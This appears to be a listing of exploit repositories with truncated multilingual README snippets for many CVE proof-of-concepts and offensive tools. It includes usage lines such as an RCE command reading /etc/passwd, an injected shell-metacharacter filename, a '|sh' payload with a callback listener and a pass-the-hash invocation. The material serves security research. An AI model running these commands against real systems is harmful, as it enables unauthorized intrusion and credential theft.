CVE-2022-26134

pip3 install -r requirements.txt use: python3 exp.py url "cmd" example: python3 exp.py http://192.168.1.1/ whoami...

CVE-2024-4358

Telerik Report Server Authentication Bypass - CVE-2024-4358 Disclaimer : This Proof of Concept POC is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicabl...

CVE-2011-2523

CVE-2011-2523 Explotación 🚀 Uso Este script PoC te permite explotar el CVE-2011-2523 Ejecución de Comando Backdoor en VsFTPd 2.3.4 ayuda ⚒️ Instalación git clone https://github.com/ByteForgeFr/CVE-2011-2523 cd CVE-2011-2523 Install the needed requirements pip install pwntools argparse...

CVE-2019-19919

CVE-2019-19919 Handlebars 부적절한 특수 요소 중화 – 다운스트림 구성 요소가 사용하는 출력에서의 인젝션 취약점 pip install requests packaging python handlebarsscanner.py pip install requests python handlebarsexploit.py 대상 URL 입력: Exploit 예상 출력 : 대상 URL 입력 예를 들어, http://example.com/render: http://example.com/render 실행할 OS 명령어 입력: ls ...

POC-CVE-2026-19681

CVE-2026-19681 — command injection in file upload processing authenticated Status: CONFIRMED on a 6.7.2-14.el9 lab 2026-08-20. Staged filename p;sleep$IFS20;-EvvfJk via POST /rest/file/upload context prefix carries the metachars, then POST /rest/auditFile type=scapLinux, version=1.2 stalled exact...

Shitrix-CVE-2019-19781

Shitrix-CVE-2019-19781 My working approach to exploiting Shitrix Updated 21st July, 2020 - now supports multi-worded commands and forward slashes You need curl = 7.42.0 Call it with, e.g.: ./shitrix.sh target port ls -al...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS Command Injection Vendor Description A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute...

cve-2023-1671

Сve-2023-1671 How does cve-2023-1671https://vulners.com/cve/CVE-2023-1671 work? /opt/ws/bin/ftsblistpack은 /opt/ws/bin/sblistpack을 호출하는 Perl 스크립트입니다. sblistpack 역시 Perl 스크립트입니다. 셸 명령 인자는 작은따옴표로 묶여 있습니다: $rc += system"$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'"; 이것은 나중에 취약점으로 이어질 중...

OpenRedireX

OpenRedireX Un fuzzer para detectar vulnerabilidades de redirección abierta 🏗️ Instalación ⛏️ Uso 📚 Dependencias Instalación git clone https://github.com/devanshbatham/openredirex cd openredirex sudo chmod +x setup.sh ./setup.sh Uso El script se ejecuta desde la línea de comandos y tiene las...

react2shell-ultimate

React2Shell Ultimate Scanner v2.0 CVE-2025-66478을 위한 전문가용 Next.js RSC RCE 취약점 스캐너 🎯 개요 React2Shell Ultimate는 CVE-2025-66478React Server ComponentsRSC를 사용하는 Next.js 애플리케이션에 영향을 미치는 치명적인 원격 코드 실행RCE 취약점을 위한 종합 취약점 스캐너입니다. 🆕 v2.0의 새로운 기능 버전 2.0에는 주요 개선 사항과 전문가용 기능이 포함되어 있습니다: ✨ 향상된 God Mode - 개선된 명령...

CVE-2019-15642

CVE-2019-15642 Webmin Remote Code Execution authenticated python Usage: python CVE-2019-15642.py https://xxx.xxx.xxx:10000 "cat /etc/passwd" 0x01 docker for Webmin cd /vulhub/webmin/CVE-2019-15107 docker-compose up -d root@9460493fa985:/ passwd root Webmin username=root,password=root ⚡ root@jas50...

dnsobserver

DNSObserver Un práctico servicio DNS escrito en Go para ayudar en la detección de varios tipos de vulnerabilidades ciegas. Monitorea el servidor de un pentester en busca de interacciones DNS fuera de banda y envía notificaciones con los detalles de la solicitud recibida a través de Slack...

CVE-2026-4480

excute exploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |sh + Generated...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Ejecución Remota de Código en la API Middleware de Hoverfly RCE autenticado mediante inyección de comandos del SO en Hoverfly ≤ 1.11.3 Resumen de la Vulnerabilidad Propiedad| Valor ---|--- CVE ID| CVE-2025-54123 CVSS Score| 9.8 — Crítico CVSS Vector|...

kernel: nvme-tcp: fix host memory disclosure on R2T for a read command

A flaw was found in the Linux kernel's NVMe Non-Volatile Memory Express over TCP nvme-tcp component. A malicious NVMe controller can exploit this vulnerability by sending a Ready to Transfer R2T command for a read request. The host system, failing to properly validate the request direction, will...

Sharp-SMBExec

Sharp-SMBExec Una conversión nativa en C del script de PowerShell Invoke-SMBExec de Kevin Robertson. https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1 Compilado para .NET 3.5 Uso Sharp-SMBExec.exe hash:"hash" username:"username" domain:"domain.tld"...

Log4J-CVE-2021-44228-RCE

Log4J CVE-2021-44228 Exploit with Command Execution Interactive exploit, just run: ./exploit.sh...

CVE-2025-24893-PoC

Disclaimer: The vulnerabilities and reproduction steps described in this document are intended solely for cybersecurity research and educational purposes. No one shall use the information provided in this document for illegal purposes or unauthorized system testing. The author assumes no...

CVE-2021-46704

OS Command Injection in GenieACS CVE-2021-46704 CVE-2021-46704 Nuclei template Reference : https://github.com/advisories/GHSA-2877-693q-pj33 https://nvd.nist.gov/vuln/detail/CVE-2021-46704 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-46704...

CVE-2025-34028-PoC-Commvault-RCE

CVE-2025-34028 - Commvault Command Center Remote Code Execution A Python exploit for CVE-2025-34028, a remote code execution vulnerability in Commvault Command Center. This tool allows testing single targets or scanning multiple hosts in bulk. Features Single target or bulk scanning capability...